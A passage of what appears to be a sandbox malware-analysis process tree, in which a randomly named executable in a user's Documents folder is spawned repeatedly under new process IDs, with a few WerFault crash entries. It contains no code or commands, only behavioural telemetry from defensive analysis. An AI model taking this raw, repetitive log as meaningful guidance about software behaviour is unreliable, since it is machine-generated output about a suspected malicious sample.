- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11248
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:9764
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10780
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:8012
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11564
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 11564 -s 24
      4⤵
      Program crash
      PID:11876
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11836
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:12200
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:10816
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11652
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11440
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:8364
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11236
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:12332
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:12700
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:13008
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:13232
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:12596
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 12596 -s 24
      4⤵
      Program crash
      PID:11404
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:12876
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11436
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14156
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14092
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:13992
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14992
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:15316
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14720
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14464
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14376
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:13760
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:15468
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:15772
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:15992
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:15768
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:16248
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:12816
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:15716
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:16684
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11932
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:16144
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11428
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:13824
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14640
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:17368
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:16392
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:17436
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:17684
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:18068
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14912
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:17720
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:18112
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:18300
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:17720
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:17144
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:17508
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:18444
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:18700
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:19096
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:18484
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:18576
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:16112
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14300
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:6572
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:19636
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:19864
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 19864 -s 24
      4⤵
      PID:20336
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:20300
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:18840
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:17328
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:19840
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14252
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:13804
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:19824
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:20624
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:21040
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:21464
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:16028
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7892
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:20036
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:18636
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:20368
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:20968
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:16744
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14060
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:21676
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:19560
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:22384
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:22112
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:22236
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:16432
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:18288
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:20324
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14948
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:21972
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:21632
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14460
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:14496
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:9736
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:22212
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:23156
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:21956
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:23236
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:20684
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:23476
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7028
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:23616
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:17600
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:23996
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:24328
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:23876
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:23052
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:24544
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:25424
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:24968
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:24028
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:23212
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:20976
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:25008
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:25568
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:24344
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:23412
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:24240
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:25924
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:26288
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:20204
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:25452
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:26488
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:25764
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:22716
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:26072
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:25248
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:26412
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:11124
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:26736
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:26944
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:27336
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:25644
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:27112
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:21900
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:9020
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:27216
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:26492
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:25400
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:27540
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:7604
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:8348
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:4824
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:13744
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:27968
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
    3⤵
    PID:28240
- - C:\Users\Admin\Documents\QS2it3BFw8Dl8mZfdeRe2eO6.exe
